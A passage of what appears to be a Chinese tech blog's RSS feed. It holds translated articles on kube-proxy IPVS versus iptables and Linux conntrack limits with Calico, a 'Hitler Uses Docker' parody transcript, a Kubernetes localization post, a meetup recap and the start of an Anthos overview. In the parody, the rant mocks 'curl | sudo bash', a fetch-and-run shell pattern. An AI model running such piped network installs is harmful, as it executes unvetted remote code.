&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;在超过 1000 服务的规模下，kube-proxy 的 IPVS 模式会有更好的性能表现。虽然可能有多种不同情况，但是通常来说，让微服务使用持久连接、运行现代内核，也能取得较好的效果。如果运行的内核较旧，或者无法使用持久连接，那么 IPVS 模式可能是个更好的选择。&lt;/p&gt;

&lt;p&gt;抛开性能问题不谈，IPVS 模式还有个好处就是具有更多的负载均衡算法可供选择。&lt;/p&gt;

&lt;p&gt;如果你还不确定 IPVS 是否合适，那就继续使用 iptables 模式好了。这种传统模式有大量的生产案例支撑，他是一个不完美的缺省选项。&lt;/p&gt;

&lt;h2 id=&#34;补充-calico-和-kube-proxy-的-iptables-比较&#34;&gt;补充：Calico 和 kube-proxy 的 iptables 比较&lt;/h2&gt;

&lt;p&gt;本文中我们看到，kube-proxy 中的 iptables 用法在大规模集群中可能会产生性能问题。有人问我 Calico 为什么没有类似的问题。答案是 Calico 中 kube-proxy 的用法是不同的。kube-proxy 使用了一个很长的规则链条，链条长度会随着集群规模而增长，Calico 使用的是一个很短的优化过的规则链，经由 ipsets 的加持，也具备了 O(1) 复杂度的查询能力。&lt;/p&gt;

&lt;p&gt;下图证明了这一观点，其中展示了每次连接过程中，kube-proxy 和 Calico 中 iptables 规则数量的平均值。这里假设集群中的节点平均有 30 个 Pod，每个 Pod 具有 3 个网络规则。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/Picture3.png&#34; alt=&#34;calico vs kube-proxy&#34; /&gt;&lt;/p&gt;

&lt;p&gt;即使是使用 10,000 个服务和 100,000 个 Pod 的情况下，Calico 每连接执行的 iptables 规则也只是和 kube-proxy 在 20 服务 200 个 Pod 的情况基本一致。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Linux Conntrack 的短板</title>
      <link>/post/when-linux-conntrack-is-no-longer-your-friend/</link>
      <pubDate>Thu, 02 May 2019 16:27:45 +0800</pubDate>
      <guid>/post/when-linux-conntrack-is-no-longer-your-friend/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://www.tigera.io/blog/when-linux-conntrack-is-no-longer-your-friend/&#34; target=&#34;_blank&#34;&gt;When Linux conntrack is no longer your friend&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://www.linkedin.com/in/alexpollitt&#34; target=&#34;_blank&#34;&gt;Alex Pollitt&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Linux 内核中，&lt;code&gt;conntrack&lt;/code&gt; 的是网络栈的核心功能之一。它使得内核能够跟踪所有逻辑网络连接或者流量，因此能够鉴别构成流量的数据包，从而对每个数据流进行一致的处理。&lt;/p&gt;

&lt;p&gt;Conntrack 是一个重要的内核功能，是一些关键用例的基础：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;NAT 能够根据 Conntrack 的信息，对构成数据流的所有数据包进行翻译。例如当 Pod 访问 Kubernetes 服务的时候，kube-proxy 的负载均衡功能会使用 NAT 把连接重定向给指定的后端 Pod。Conntrack 负责对指定连接进行记录，发送到 Service IP 的数据包会被发送给同一个后端 Pod，从后端 Pod 返回的数据包会反向送回源 Pod。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Calico 这样的有状态防火墙，依赖 Conntrack 的信息来精确的将响应流量纳入白名单。用户如果编写了一个“允许 Pod 连接所有远端 IP”的策略，无需进行其它工作就能够允许所有的返回流量（如果没有这种功能，就必须加入一个不那么安全的规则：允许所有目标是该 Pod 的流量）。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外 Conntrack 还能够提高性能（降低 CPU 和延迟），这是因为只有第一个数据包需要完成整个网络栈的处理，参见 &lt;a href=&#34;https://www.tigera.io/blog/comparing-kube-proxy-modes-iptables-or-ipvs/&#34; target=&#34;_blank&#34;&gt;Comparing kube-proxy modes&lt;/a&gt; 一文，其中包含了这方面的例子。&lt;/p&gt;

&lt;p&gt;然而 Conntrack 也有其限制。&lt;/p&gt;

&lt;h2 id=&#34;那么它哪里不行了&#34;&gt;那么它哪里不行了？&lt;/h2&gt;

&lt;p&gt;Conntrack 的存储表有一个可配置的最大容量，如果满了，连接通常会被拒绝和丢弃。在多数负载情况下，这个表的容量是足够的，不会出现这种问题。但是有些场景下，Conntrack 也会不够用：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;最常见的情况是，如果你的服务器需要同时处理非常大数量的活动连接。例如你的 Conntrack 表设置为 128k 的容量，但是你的并发连接超过了 128k，这肯定会出问题。&lt;/li&gt;
&lt;li&gt;另外一种情况没那么常见——每秒处理极大数量的连接。这些连接就算再短，Linux 还会在超时（通常是 120 秒）期限内对其进行跟踪。例如如果你的 Conntrack 容量设置为 128k，尝试每秒钟处理 1100 个连接，这就会超出 Conntrack 表的限制（128k/120秒 = 1092 连接/秒）。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;有个别的负载类型就符合这种条件。另外如果在一个恶劣环境中，用大量的半开连接冲击服务器，就能造成拒绝服务攻击的效果。两种情况下，Conntrack 都会成为系统中的瓶颈。有些情况下，通过提高 Conntrack 数据表容量或者降低 Conntrack 的超时时间（如果调节失误，可能会造成更多痛苦）就能解决问题。别的场景中，可能需要跨过 Conntrack 来处理这种威胁。&lt;/p&gt;

&lt;h2 id=&#34;一个真实的案例&#34;&gt;一个真实的案例&lt;/h2&gt;

&lt;p&gt;我们合作的某大型 SaaS 供应商，他们有一组运行于物理机（不是虚拟化，也不是容器化）上的 Memcached 服务器，每台服务器每秒都要处理 50k 以上的短连接。这可不是标准的 Linux 配置能够承受的。&lt;/p&gt;

&lt;p&gt;他们曾经使用提高 Conntrack 数据表容量和降低超时时间的方式进行调整，但是这种调整非常脆弱，内存占用增长极大（GB 级），超时时间过短让 Conntrack 的益处（降低 CPU 和数据包延迟）也大为减少。&lt;/p&gt;

&lt;p&gt;因此他们转向了 Calico，Calico 的网络策略允许指定部分流量绕过 Conntrack。这一措施让他们得到了期待的性能，并且还得到了 Calico 带来的安全优势。&lt;/p&gt;

&lt;h2 id=&#34;绕开-conntrack-的妥协之处&#34;&gt;绕开 Conntrack 的妥协之处&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;Do-not-track&lt;/code&gt; 策略通常是对称的。上面谈到的 SaaS 供应商案例，他们的工作负载是内部的，因此他们可以非常严格的在工作负载和 Memcached 之间进行白名单设置。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;Do-not-track&lt;/code&gt; 策略是不知道连接的方向的。所以只要 Memcached 服务器知道 Memcached 客户端的源端口，他都可以尝试连接。但是如果为 Memcached 客户端定义了正确的策略，那么还可以在客户端拒绝这些连接。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;Do-not-track&lt;/code&gt; 对每个数据包生效，而通常的网络策略只对数据流中的第一个数据包生效。这样会提高 CPU 的消耗。但是在短连接环境下，网络策略造成的消耗还是低于 &lt;code&gt;Conntrack&lt;/code&gt; 过程的消耗的。例如 SaaS 供应商的例子中，每连接中的数据包都很少，所以使用策略处理每个数据包的过程中造成的多余开销也就可以接受了。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;测试一下&#34;&gt;测试一下&lt;/h2&gt;

&lt;p&gt;我们测试了单一 Memcached 服务器 Pod 以及运行在远程节点上的多个客户端的场景，这种场景能方便的产生大量链接。Memcached Pod 所在的节点有 8 个 CPU 核心，Conntrack 表容量为 512k（主机的标准设置）。我们在几种方案中进行了比较：没有网络策略；Calico 通用网络策略；Calico &lt;code&gt;Do-not-track&lt;/code&gt; 策略。&lt;/p&gt;

&lt;p&gt;第一个测试中，我们限制每秒 4000 个连接，以此来方便的观察 CPU 方面的差异。无策略和正常策略的测试用例，其结果没有差异，而 &lt;code&gt;Do-not-track&lt;/code&gt; 策略降低了 20%。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/Picture2-1.png&#34; alt=&#34;CPU&#34; /&gt;&lt;/p&gt;

&lt;p&gt;第二个测试中，我们尽量的提高连接数量，这样就可以观察到 Memcached 能够处理的每秒最大连接数量了。如前所述，无策略和普通策略的情况里，受到 Conntrack 数据表容量的影响，只能达到每秒 4000 多连接的能力（512k / 120s = 4,369 connections/s）。而 &lt;code&gt;Do-not-track&lt;/code&gt; 策略下，连接数达到了 60k 每秒，没有出现问题。我们相信，可以通过更多的客户端来产生更高的负载数量，但是这一数字已经证实了我们提到的观点了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/Picture1-1.png&#34; alt=&#34;CONNECTION&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;Conntrack 是一个重要的内核功能。大多数场景下，它都能发挥很好的作用。然而有些小众场景中，Conntrack 的开销会大于其收益。在这种情况下，Calico 的网络策略可以通过选择性的绕过 Conntrack，并提高网络安全性。而对其他流量，Conntrack 还是你的好朋友。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Hitler Uses Docker</title>
      <link>/post/hitler-uses-docker/</link>
      <pubDate>Wed, 01 May 2019 20:39:58 +0800</pubDate>
      <guid>/post/hitler-uses-docker/</guid>
      <description>


&lt;div style=&#34;position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;&#34;&gt;
  &lt;iframe src=&#34;https://www.youtube.com/embed/PivpCKEiQOQ&#34; style=&#34;position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;&#34; allowfullscreen title=&#34;YouTube Video&#34;&gt;&lt;/iframe&gt;
&lt;/div&gt;


&lt;h2 id=&#34;克莱勃斯&#34;&gt;克莱勃斯&lt;/h2&gt;

&lt;p&gt;我们把镜像推送到 Dockerhub，然后使用 docker compose 部署到集群上。&lt;/p&gt;

&lt;p&gt;我们在这些节点上加载数据卷。&lt;/p&gt;

&lt;p&gt;然后在这里连接到应用容器。&lt;/p&gt;

&lt;p&gt;最后，我们更新了 DNS 记录。&lt;/p&gt;

&lt;h2 id=&#34;希特勒&#34;&gt;希特勒&lt;/h2&gt;

&lt;p&gt;所以我们在每个节点上运行了 20 个容器。我们什么时候可以去掉多余的服务器？&lt;/p&gt;

&lt;h2 id=&#34;克莱勃斯-1&#34;&gt;克莱勃斯&lt;/h2&gt;

&lt;p&gt;元首，内核。。。&lt;/p&gt;

&lt;h2 id=&#34;约德尔&#34;&gt;约德尔&lt;/h2&gt;

&lt;p&gt;有个第三方容器引发了内核恐慌。我们损失了 70% 的集群和数据卷。&lt;/p&gt;

&lt;h2 id=&#34;希特勒-1&#34;&gt;希特勒&lt;/h2&gt;

&lt;p&gt;没在生产环境上使用 Docker 的，出去。&lt;/p&gt;

&lt;p&gt;隔离个屁！&lt;/p&gt;

&lt;p&gt;你们想什么呢！&lt;/p&gt;

&lt;p&gt;谁特么会用 Docker hub 上的公共镜像？&lt;/p&gt;

&lt;p&gt;你们该知道那都是俄罗斯黑客做的！&lt;/p&gt;

&lt;p&gt;你可能还用 &lt;code&gt;curl | sudo bash&lt;/code&gt;！&lt;/p&gt;

&lt;p&gt;你觉得公共仓库上的所有东西都是安全的？就因为是开源软件？&lt;/p&gt;

&lt;p&gt;你们这群赶 Node.js 时髦的人，只会看着 Hacker news 啥都装上去！&lt;/p&gt;

&lt;h2 id=&#34;克莱勃斯-2&#34;&gt;克莱勃斯&lt;/h2&gt;

&lt;p&gt;但是 Docker 让我们能够在任何地方运行我们的应用！&lt;/p&gt;

&lt;h2 id=&#34;希特勒-2&#34;&gt;希特勒&lt;/h2&gt;

&lt;p&gt;为了在你的笔记本上运行 Docker，你还得用个虚拟机！&lt;/p&gt;

&lt;h2 id=&#34;克莱勃斯-3&#34;&gt;克莱勃斯&lt;/h2&gt;

&lt;p&gt;元首，docker-machine 用的是轻量级虚拟机！&lt;/p&gt;

&lt;h2 id=&#34;希特勒-3&#34;&gt;希特勒&lt;/h2&gt;

&lt;p&gt;你知道自己在说什么？我们都用了虚拟机了，为什么还需要 Docker？&lt;/p&gt;

&lt;p&gt;容器里的容器！&lt;/p&gt;

&lt;p&gt;就为了部署一个 10 MB 的 Go 程序，你们压缩了一整个 Linux 操作系统，然后因为太大了，又用上 CoW 存储。&lt;/p&gt;

&lt;p&gt;别跟我说什么资源限制。cgroups 的黑魔法连简单的 fork 炸弹都挡不住！&lt;/p&gt;

&lt;p&gt;如果数据库需要服务器上的所有资源，Docker 还让你在上面运行更多程序！&lt;/p&gt;

&lt;p&gt;Docker 之前，我只要选择个合适尺寸的虚拟机。&lt;/p&gt;

&lt;p&gt;突然人们告诉我什么数据中心效能什么超融合。&lt;/p&gt;

&lt;p&gt;所有人都觉得自己是 Google！&lt;/p&gt;

&lt;p&gt;你都不用运行自己的机器了！&lt;/p&gt;

&lt;p&gt;大家都在 GCE 上运行 Docker，在 Borg 虚拟机实例上运行 Linux 容器！&lt;/p&gt;

&lt;p&gt;还有人觉得 Docker 能做配置管理，他们觉得 Docker 解决了所有问题！&lt;/p&gt;

&lt;p&gt;连微软都有容器了！&lt;/p&gt;

&lt;p&gt;我正在把所有东西都转移到 Windows！&lt;/p&gt;

&lt;h2 id=&#34;容格夫人&#34;&gt;容格夫人&lt;/h2&gt;

&lt;p&gt;别哭了，现在可以在 Windows 10 里运行 Bash 了。&lt;/p&gt;

&lt;h2 id=&#34;希特勒-4&#34;&gt;希特勒&lt;/h2&gt;

&lt;p&gt;Docker 本该有更好的性能。&lt;/p&gt;

&lt;p&gt;但是 userland 代理比 28.8k 的猫还慢。&lt;/p&gt;

&lt;p&gt;现在连企业都想跑 Docker 了，但他们还在运行 Red Hat 5。&lt;/p&gt;

&lt;p&gt;你们这些白痴认为 Docker 能帮你们的应用进行伸缩。&lt;/p&gt;

&lt;p&gt;关键业务用 Openstack 吧。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>如何参与 Kubernetes 文档的本地化工作</title>
      <link>/post/how-you-can-help-localize-kubernetes-docs/</link>
      <pubDate>Sun, 28 Apr 2019 08:05:15 +0800</pubDate>
      <guid>/post/how-you-can-help-localize-kubernetes-docs/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/blog/2019/04/26/how-you-can-help-localize-kubernetes-docs/&#34; target=&#34;_blank&#34;&gt;How You Can Help Localize Kubernetes Docs&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://twitter.com/zachorsarah&#34; target=&#34;_blank&#34;&gt;Zach Corleissen&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;去年我们对 Kubernetes 网站进行了优化，加入了&lt;a href=&#34;https://kubernetes.io/blog/2018/11/08/kubernetes-docs-updates-international-edition/&#34; target=&#34;_blank&#34;&gt;多语言内容的支持&lt;/a&gt;。贡献者们踊跃响应，加入了多种新的本地化内容：截至 2019 年 4 月，Kubernetes 文档有了 9 个不同语言的未完成版本，其中有 6 个是 2019 年加入的。在每个 Kubernetes 文档页面的上方，读者都可以看到一个语言选择器，其中列出了所有可用语言。&lt;/p&gt;

&lt;p&gt;不论是完成度最高的&lt;a href=&#34;https://v1-12.docs.kubernetes.io/zh/&#34; target=&#34;_blank&#34;&gt;中文版 v1.12&lt;/a&gt;，还是最新加入的&lt;a href=&#34;https://kubernetes.io/pt/&#34; target=&#34;_blank&#34;&gt;葡萄牙文版 v1.14&lt;/a&gt;，各语言的本地化内容还未完成，这是一个进行中的项目。如果读者有兴趣对现有本地化工作提供支持，请继续阅读。&lt;/p&gt;

&lt;h2 id=&#34;什么是本地化&#34;&gt;什么是本地化&lt;/h2&gt;

&lt;p&gt;翻译是以词表意的问题。而本地化在此基础之上，还包含了过程和设计方面的工作。&lt;/p&gt;

&lt;p&gt;本地化和翻译很像，但是包含更多内容。除了进行翻译之外，本地化还要为编写和发布过程的框架进行优化。例如，Kubernetes.io 多数的站点浏览功能（按钮文字）都保存在&lt;a href=&#34;https://github.com/kubernetes/website/tree/master/i18n&#34; target=&#34;_blank&#34;&gt;单独的文件&lt;/a&gt;之中。所以启动新本地化的过程中，需要包含加入对特定文件中字符串进行翻译的工作。&lt;/p&gt;

&lt;p&gt;本地化很重要，能够有效的降低 Kubernetes 的采纳和支持门槛。如果能用母语阅读 Kubernetes 文档，就能更轻松的开始使用 Kubernetes，并对其发展作出贡献。&lt;/p&gt;

&lt;h2 id=&#34;如何启动本地化工作&#34;&gt;如何启动本地化工作&lt;/h2&gt;

&lt;p&gt;不同语言的本地化工作都是单独的功能——和其它 Kubernetes 功能一致，贡献者们在一个 SIG 中进行本地化工作，分享出来进行评审，并加入项目。&lt;/p&gt;

&lt;p&gt;贡献者们在团队中进行内容的本地化工作。因为自己不能批准自己的 PR，所以一个本地化团队至少应该有两个人——例如意大利文的本地化团队有两个人。这个团队规模可能很大：中文团队有几十个成员。&lt;/p&gt;

&lt;p&gt;每个团队都有自己的工作流。有些团队手工完成所有的内容翻译；有些会使用带有翻译插件的编译器，并使用评审机来提供正确性的保障。SIG Docs 专注于输出的标准；这就给了本地化团队采用适合自己工作情况的工作流。这样一来，团队可以根据最佳实践进行协作，并以 Kubernetes 的社区精神进行分享。&lt;/p&gt;

&lt;h2 id=&#34;为本地化工作添砖加瓦&#34;&gt;为本地化工作添砖加瓦&lt;/h2&gt;

&lt;p&gt;如果你有兴趣为 Kubernetes 文档加入新语种的本地化内容，&lt;a href=&#34;https://kubernetes.io/docs/contribute/localization/&#34; target=&#34;_blank&#34;&gt;Kubernetes contribution guide&lt;/a&gt; 中包含了这方面的相关内容。&lt;/p&gt;

&lt;p&gt;已经启动的的本地化工作同样需要支持。如果有兴趣为现存项目做出贡献，可以加入本地化团队的 Slack 频道，去做个自我介绍。各团队的成员会帮助你开始工作。&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;语种&lt;/th&gt;
&lt;th&gt;Slack 频道&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;中文&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://kubernetes.slack.com/messages/CE3LNFYJ1/&#34; target=&#34;_blank&#34;&gt;#kubernetes-docs-zh&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;英文&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://kubernetes.slack.com/messages/C1J0BPD2M/&#34; target=&#34;_blank&#34;&gt;#sig-docs&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;法文&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://kubernetes.slack.com/messages/CG838BFT9/&#34; target=&#34;_blank&#34;&gt;#kubernetes-docs-fr&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;德文&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://kubernetes.slack.com/messages/CH4UJ2BAL/&#34; target=&#34;_blank&#34;&gt;#kubernetes-docs-de&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;印地&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://kubernetes.slack.com/messages/CJ14B9BDJ/&#34; target=&#34;_blank&#34;&gt;#kubernetes-docs-hi&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;印度尼西亚文&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://kubernetes.slack.com/messages/CJ1LUCUHM/&#34; target=&#34;_blank&#34;&gt;#kubernetes-docs-id&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;意大利文&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://kubernetes.slack.com/messages/CGB1MCK7X/&#34; target=&#34;_blank&#34;&gt;#kubernetes-docs-it&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;日文&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://kubernetes.slack.com/messages/CAG2M83S8/&#34; target=&#34;_blank&#34;&gt;#kubernetes-docs-ja&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;韩文&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://kubernetes.slack.com/messages/CA1MMR86S/&#34; target=&#34;_blank&#34;&gt;#kubernetes-docs-ko&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;葡萄牙文&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://kubernetes.slack.com/messages/CJ21AS0NA/&#34; target=&#34;_blank&#34;&gt;#kubernetes-docs-pt&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;西班牙文&lt;/td&gt;
&lt;td&gt;&lt;a href=&#34;https://kubernetes.slack.com/messages/CH7GB2E3B/&#34; target=&#34;_blank&#34;&gt;#kubernetes-docs-es&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&#34;下一步&#34;&gt;下一步？&lt;/h2&gt;

&lt;p&gt;最新的&lt;a href=&#34;https://kubernetes.slack.com/messages/CJ14B9BDJ/&#34; target=&#34;_blank&#34;&gt;印地文本地化&lt;/a&gt;工作正在启动。为什么不加入你的语言？&lt;/p&gt;

&lt;p&gt;身为 SIG Docs 的主席，我甚至希望本地化工作跳出文档范畴，直接为 Kubernetes 组件提供本地化支持。有什么组件是你希望支持不同语言的么？可以提交一个 &lt;a href=&#34;https://github.com/kubernetes/enhancements/tree/master/keps&#34; target=&#34;_blank&#34;&gt;Kubernetes Enhancement Proposal&lt;/a&gt; 来促成这一进步。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>我参加了一次笔会</title>
      <link>/post/broadview-meetup-20190420/</link>
      <pubDate>Sun, 21 Apr 2019 15:14:04 +0800</pubDate>
      <guid>/post/broadview-meetup-20190420/</guid>
      <description>&lt;p&gt;博文视点的张国霞编辑，跟我说杭州有个作者会的时候，我刚听完马未都的段子：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;一堆作家都在一块。要怎么办呢，要互相恭维，挖坑。我原来说过啊，刘震云最会挖坑，挖王朔的坑：王老师，小说写得非常不错，王朔说不行，写不好写不好，过去了。每天吃中饭，因为吃饭都在，那时候做笔会嘛，都在那个食堂里吃，那时候食堂也没说像现在都是摆上席，就是一人一份端在一起。第二天同样的话还说，王老师确实我觉得你小说写得好，王朔说真的写得不好。第三天还这样夸，王老师我是真心的话，你的小说写得是真好。然后王朔第三天就是说，我是觉得我小说写得不错。你瞧，我在桌子上呢，刘震云当场就把脸翻过来对我说，一般人最多就扛住三天。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;我想，大概是“某老师您好，久仰久仰”、“不不，您老师”之类的大型互拍现场吧，周末出来转转，社交一下也是很好的，和国霞商量了一些活动安排之后，419 这天就奔赴机场了：令人印象深刻的一次延误，十个小时，并没有持续整夜，成功刷新了某次从广州飞武汉的 8 小时纪录。&lt;/p&gt;

&lt;p&gt;轻车熟路的打车、入住、睡觉。主办方安排的住宿相当不错，感谢。早六点就醒了过来，吸着晨雾，沿钱塘江北岸打了个跑步卡，江边步道是倾斜的，对膝盖造成很大压力。&lt;/p&gt;

&lt;p&gt;早晨开场，按惯例是领导致辞，套话不多，数字不少，并没有想象中的沉闷。接下来是由潘爱民、苏杰和余晟三个大牌协作完成的杀威棒环节。潘爱民老师自然是我这一代 IT 工作者耳熟能详的明星了，不疾不徐的讲述了其工作和创作的过程和方法。而接下来苏杰的一问：在座各位有谁的作品销量超过百万千万？正式开始展示了这一活动的不同之处，今天我先后两次说到，这一活动的含金量远超我的预期。返回途中，我时不时的在想，给我造成这一印象的原因，大概有如下三点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;读者背书：参会作者，都有获得较大范围内读者认可的作品，懂技术、懂读者、有条理、会表达，几个优点，这样的一群人的碰撞，火花四溅是个必然结果。&lt;/li&gt;
&lt;li&gt;氛围轻松：主办方在完成必要的组织活动之外，并没有过多的对分享内容进行干预，对时间也没有进行很严格的控制，让分享者都能够较为自由的完成表演。&lt;/li&gt;
&lt;li&gt;本色出演：同其它活动不同的是，这一次大家并没有背着传递价值观或宣传产品的包袱，大家都可以选择擅长的内容、习惯的方式来进行表达，其效果自然不可同日而语。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;下面摘录目前还能想得起的一些金句（全靠印象，并不精准）：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;苏杰：

&lt;ul&gt;
&lt;li&gt;有人说我毁了一个行业。&lt;/li&gt;
&lt;li&gt;把你的书当成产品来进行运营。&lt;/li&gt;
&lt;li&gt;要不是炒股。。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;余晟：

&lt;ul&gt;
&lt;li&gt;做翻译的收入。。不谈也罢。&lt;/li&gt;
&lt;li&gt;但是我不炒股，所以还能剩点。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;褚霸：

&lt;ul&gt;
&lt;li&gt;有的书能让你百倍千倍的赚回来，比如潘老师的。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;小马哥：

&lt;ul&gt;
&lt;li&gt;我只看二十五史、论文、和 RFC。&lt;/li&gt;
&lt;li&gt;我不看电影，我看新闻联播。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;根据当地法律法规，该内容未能显示&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;根据当地法律法规，该内容未能显示&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;根据当地法律法规，该内容未能显示&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;另外大家还在活动间隙对 996 等热门话题交换了毫无意义的看法，极大的增进了了解，加深了友谊。阿里的兵强马壮，也给与会者留下了深刻的印象。&lt;/p&gt;

&lt;p&gt;活动中还看到了另一本 Istio 书的作者，高大帅气一表人才的周遥同学，目前看来 Istio 相关书籍的作者，头发都很茂盛，证明这一技术相当安全，大家可以放手研究。&lt;/p&gt;

&lt;p&gt;返程航班上，一路颠簸，一路闪电，大饱眼福。&lt;/p&gt;

&lt;p&gt;开始降落。感谢博文视点，你们很棒：）&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>关于 Anthos- Google 的混合多云平台</title>
      <link>/post/everything-u-want-to-now-about-anthos/</link>
      <pubDate>Tue, 16 Apr 2019 16:17:22 +0800</pubDate>
      <guid>/post/everything-u-want-to-now-about-anthos/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://www.forbes.com/sites/janakirammsv/2019/04/14/everything-you-want-to-know-about-anthos-googles-hybrid-and-multi-cloud-platform/amp/&#34; target=&#34;_blank&#34;&gt;Everything You Want To Know About Anthos - Google&amp;rsquo;s Hybrid And Multi-Cloud Platform&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://www.forbes.com/sites/janakirammsv/&#34; target=&#34;_blank&#34;&gt;Janakiram MSV&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;最近结束的 Cloud Next 会议上，Google 宣布企业级混合多云平台 &lt;a href=&#34;https://cloud.google.com/anthos/&#34; target=&#34;_blank&#34;&gt;Anthos&lt;/a&gt; 进入 GA 阶段。&lt;/p&gt;

&lt;p&gt;虽说会上有超过一百个发布，Anthos 依旧醒目。它标志着 Google 官方开始涉足企业数据中心。这是主流公有云厂商第一次以官方身份踏入多云平台的市场。&lt;/p&gt;

&lt;p&gt;从 Sundar Pichai 到 Thomas Kurian 再到 Urs Hölzle，Anthos 被描述为下一代技术。很明显，Google 的高层团队为该项目深感自豪。&lt;/p&gt;

&lt;p&gt;Anthos 和其它公有云服务不同。它不仅是一个产品，而是一个覆盖应用程序现代化、云迁移、混合云和多云管理等主题的家族品牌。&lt;/p&gt;

&lt;p&gt;虽然 Anthos 及其 GA 级别的成熟度被广泛报道，但是这一发布活动还是令人困惑的。文档非常稀少，相关服务并未完全集成到自助工作台之中。除了混合云的连接以及多云应用部署之外，Google 的这一新技术的更多细节并不为人所知。&lt;/p&gt;

&lt;h2 id=&#34;基础构成&#34;&gt;基础构成&lt;/h2&gt;

&lt;p&gt;Anthos 的核心是目前最流行的开源项目：Kubernetes。GKE 是 Google 云提供的容器即服务技术，Anthos正是构建于 GKE 的坚实基础之上。当然还有一些其它的重要技术为 Kubernetes 提供了必要的补充。&lt;/p&gt;

&lt;p&gt;镜头拉近，看看 Anthos 的核心组件：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;GKE：Anthos 的命令和控制核心。用户通过 GKE 的控制平面来对分散在 Google 云、私有数据中心一级其它云平台上的基础设施进行管理。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;GKE On-Prem：Google 推出了一个基于 Kubernetes 的和 GKE 一致的软件平台。用户能够在任何的兼容硬件上部署这一产品，而 Google 将会对其进行管理。从升级 Kubernetes 版本到应用最新补丁，Google 都视其为 GKE 的逻辑扩展。尤其需要注意的是 GKE On-Prem 运行在 VMWare vSphere 6.5 的虚拟化基础上，Hyper-V 和 KVM 等其它虚拟化技术的支持还在开发之中。&lt;/p&gt;&lt;/li&gt;

